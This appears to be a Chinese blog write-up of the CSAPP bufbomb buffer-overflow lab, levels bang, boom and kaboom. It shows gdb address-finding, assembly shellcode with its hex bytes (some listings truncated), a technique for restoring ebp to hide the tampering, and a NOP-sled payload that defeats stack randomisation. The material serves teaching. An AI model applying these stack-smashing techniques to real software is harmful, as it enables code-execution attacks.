CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
栈结构镇楼
这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。
栈结构:
第2关:bang
构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。
我们需要将恶意代码放置在攻击字符串中,使得getbuf返回之后,首先执行这段恶意代码,然后再执行bang函数。
先看一下bang的源码:
#define NORMAL_BUFFER_SIZE 32
void test()
{
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie)
{
printf("Boom!: getbuf returned0x%x\n", val);
validate();
}
else
{
printf("Dud: getbuf returned0x%x\n", val);
}
}
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return ;
}
int global_value = ;
void bang(int val)
{
if (global_value == cookie)
{
printf("Bang!: You set global_value to 0x%x\n",
global_value);
validate();
}
else
printf("Misfire: global_value = 0x%x\n", global_value);
exit();
}
先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。
0x804d100和0x804d108那一个是全局变量?
这里我用gdb调试
gdb bufbomb
在getbuf函数设断点,运行,查看一下两个地址的值,很明显,0x804d100是全局变量。
注意这里的调试方法设置完断点后运行的指令
(gdb) r -u stu
这里的stu是userid !
到这里全局变量也找到了,那么我们也就能写出恶意代码来了。
movl $0x4f802594,0x804d100//将cookie赋值给全局变量
push $0x08048cad //函数bang的地址压入栈
ret
将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc –m32 –c 编译成.o可重定位目标文件,然后objdump –d 反编译出机器码。
这是恶意代码,我们需要的是这些16进制的机器码,我把它们放到buf区域里,然后执行就可以了。要执行这些代码就需要让控制流可以跳到这,只要把这段恶意代码的首地址放到getbuf函数的返回地址处就可以了,也就是buf缓冲区的首地址放到getbuf函数返回地址。接下来找buf缓冲区的首地址:
看一下getbuf函数,发现,在图中0x80491f7处,ebp减小开辟了一段空间,也就是buf区域,eax寄存器中放的就是该空间的首地址,即buf首地址。
用gdb调试,我们在0x80491fd也就是call gets之前设置断点来查看eax寄存器中的内容,查看eax的值。
处理成小端也就是
e8 39 68 55
最终编写的恶意代码:
c7 d1 /*movl $0x4f802594,0x804d100*/
4f
ad 8c /*push $x08048cad*/
c3 /*ret*/ e8 /*buff首地址0x556839e8*/
将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
完成!
第3关:boom
前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原test的ebp给破坏了。Boom这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中,让被攻击者不容易发现我们动了手脚,
另外,构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax(eax中保存的就是函数的返回值)的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令,也就是下图中这个位置,将这个地址压栈。
void test()
{
int val;
/* Put canary on stack to detect possiblecorruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corruption stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has beencorrupted\n");
}
else if (val == cookie)///getbuf函数返回值为cookie
{
printf("Boom!: getbuf returned0x%x\n", val);
validate();
}
else
{
printf("Dud: getbuf returned0x%x\n", val);
}
}
综合起来恶意代码就是:
/*cookie0x4f802594*/
movl $0x4f802594,%eax //将返回值修改为cookie
pushl $0x8048dce //将call getbuf函数的下一条要执行的指令的地址压入返回地址
ret //用ret来执行返回地址
用同bang那关一样的方法,得到字节码:
恶意代码准备好了,将返回地址更改为指向这个代码的位置,把恶意代码放到buf缓冲区内,返回地址和bang一样。
接下来要恢复ebp的值,先得到ebp旧值。
gdb调试:在getbuf第一行,push ebp 设置断点。查看ebp的值。
ebp=0x55683a40,即40 3a 68 55
用这个值覆盖ebp值。ebp值在返回地址的低方位,放在返回地址前。
最终编写的恶意代码:
b8 4f /*movl $0x4f802594,%eax */
ce 8d /*pushl $0x8048dce */
c3 /*ret*/ 3a /*old ebp:0x55683a40*/
e8 /*buff首地址0x556839e8*/
将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
nice!
第4关:kaboom
这一关难度比前面都大。但也是承接上一关的,构造攻击字符串使getbufn函数,返回cookie值至testn函数,而不是返回值1,需要将cookie值设为函数返回值,复原被破坏的栈帧结构,并正确地返回到testn函数。但这一关与之前最大的不同在于地址空间随机化,每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样,不能准确地跳转到栈空间的某个特定地址。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。
进入这一关需要加入-n选项,调的函数是testn和getbufn,而不是前面的test和getbuf。这道题有5个test case,要都通过才算过。
说点题外话这一关还有一个别名Nitro 硝化甘油,这是一种不稳定的火药,其实从这里也暗示了这一关的攻击不稳定。
先看一下源码:
#define KABOOM_BUFFER_SIZE 512
void testn()
{
int val;
volatile int local = uniqueval();
val = getbufn();
/* Check for corrupted stack */
if (local != uniqueval())
{
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie)
{
printf("KABOOM!: getbufn returned 0x%x\n", val);
validate();
}
else
{
printf("Dud: getbufn returned 0x%x\n", val);
}
}
int getbufn()
{
char buf[KABOOM_BUFFER_SIZE];
Gets(buf);
return ;
}
在这一关buffersize也从32增大到了512,这个做法是有意义的。
大概的思路是,虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90
)。不管我们跳转到哪个nop,最后都会执行到我们的代码。
ebp是随机的,但是ebp相对esp是绝对的,根据上面的图中结合栈结构得出
ebp = esp + 0x24 + 4 = esp + 28
getbufn函数返回后要从0x8048e4a开始执行,将这个地址压栈。
设置cookie给eax。
综合得出恶意代码为:
mov $0x4f802594,%eax //将返回值修改为cookie
lea 0x28(%esp),%ebp //ebp=esp+28
push $0x8048e4a //将call getbufn函数的下一条要执行的指令的地址压入返回地址
ret
转换为字节码:
再回到getbufn函数:
要填入0x208+4+4=528字节。
因为随机,不知道程序会跳到哪里,所以把恶意代码放到最后面,用nop滑行。
(nop不会执行任何操作,只有PC加一,机器码是90。)
所以,前面塞满90,最后面写上恶意代码程序,以及最后要跳的位置。
寻找要跳的地址:
由于随机化,buf首地址不确定。用gdb调试:在0x8049218设断点,看eax的值。(每执行一次,要用c命令继续,进而执行下一次)
如此这样五次,注意这次调试时运行r需要加入-n
(gdb) r -nu stu
这样获得了5个buf起始地址。
0x55683808
0x556837a8
0x55683878
0x55683858
0x556837a8
取最高地址0x55683878(78 38 68 55)作为返回地址,这样就会一路滑行到恶意代码,执行恶意代码。
综上:
/**/ /**/ /**/ /**/ b8 4f /*mov $0x4f802594,%eax*/
8d 6c /*lea 0x28(%esp),%ebp */
4a 8e /*push $0x8048e4a */
c3
/*0x55683878*/
同上管道输入。
注意:需要注意的是因为在Nitro模式下主程序需要读五次input以满足执行五次的需要,因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以\n结尾以结束每次的gets()函数调用。
完结撒花!
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom的更多相关文章
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- CSAPP:逆向工程【缓冲区溢出攻击】
逆向工程[缓冲区溢出攻击] 任务描述 掌握函数调用时的栈帧结构,利用输入缓冲区的溢出漏洞,将攻击代码嵌入当前程序的栈帧中,使程序执行我们所期望的过程. 主要方法 溢出的字符将覆盖栈帧上的数据,会覆盖程 ...
- Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- CSAPP阅读笔记-变长栈帧,缓冲区溢出攻击-来自第三章3.10的笔记-P192-P204
一.几个关于指针的小知识点: 1. malloc是在堆上动态分配内存,返回的是void *,使用时会配合显式/隐式类型转换,用完后需要用free手动释放. alloca是标准库函数,可以在栈上分配任 ...
- SEED信息安全实验系列:缓冲区溢出漏洞实验
缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情 ...
随机推荐
- 用了 Lambda 之后,发现可以忘记设计模式了
设计模式是过去的一些好的经验和套路的总结,但是好的语言特性可以让开发者不去考虑这些设计模式.面向对象常见的设计模式有策略模式.模板方法.观察者模式.责任链模式以及工厂模式,使用Lambda表达式(函数 ...
- opencv---(腐蚀、膨胀、边缘检测、轮廓检索、凸包、多边形拟合)
一.腐蚀(Erode) 取符合模板的点, 用区域最小值代替中心位置值(锚点) 作用: 平滑对象边缘.弱化对象之间的连接. opencv 中相关函数:(erode) // C++ /** shape: ...
- Java入门系列之类继承、抽象类、接口(五)
前言 C#和Java关于类.抽象类.接口使用方式基本相似,只是对应关键字使用不同罢了,本节呢,我们只是对照C#和Java中关于这三个概念在具体使用时,看看有哪些不一样的地方. 类继承 C#和Java在 ...
- C# loop executed one by one wait the former completed
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- 2018简约商务工作汇报工作总结公司培训团队介绍PPT模
这几款ppt模板都是简约大气类型的,32页足够丰富,有完整结构框架,可以修改文字图片直接套用模板,是通用的商务ppt模板. 模版来源:http://ppt.dede58.com/gongzuohuib ...
- 利用Azure虚拟机安装Dynamics 365 Customer Engagement之十一:SQL Server配置Always On后D365的配置更改
我是微软Dynamics 365 & Power Platform方面的工程师罗勇,也是2015年7月到2018年6月连续三年Dynamics CRM/Business Solutions方面 ...
- nginx——keepalived
nginx--keepalived 1.keepalived高可用基本概述 什么是高可用 一般是指2台机器启动着完全相同的业务系统,当有一台机器down机了,另外一台服务器就能快速的接管,对于访问的用 ...
- 007.MongoDB特殊成员
一 MongoDB成员 1.1 常见特殊member Secondary存在一些特殊的成员类型: Priority 0 #不能升为主,可以用于多数据中心场景 Hidden #对客户端来说是不可见的,一 ...
- Windows下Python虚拟环境
python的虚拟环境在windows和linux下的配置是不一样的 主要解决开发应用程序的时候Python依赖包的版本问题 虚拟环境 virtualenv 安装 pip install virtua ...
- 【论文阅读】Second-order Attention Network for Single Image Super-Resolution
概要 近年来,深度卷积神经网络(CNNs)在单一图像超分辨率(SISR)中进行了广泛的探索,并获得了卓越的性能.但是,大多数现有的基于CNN的SISR方法主要聚焦于更宽或更深的体系结构设计上,而忽略了 ...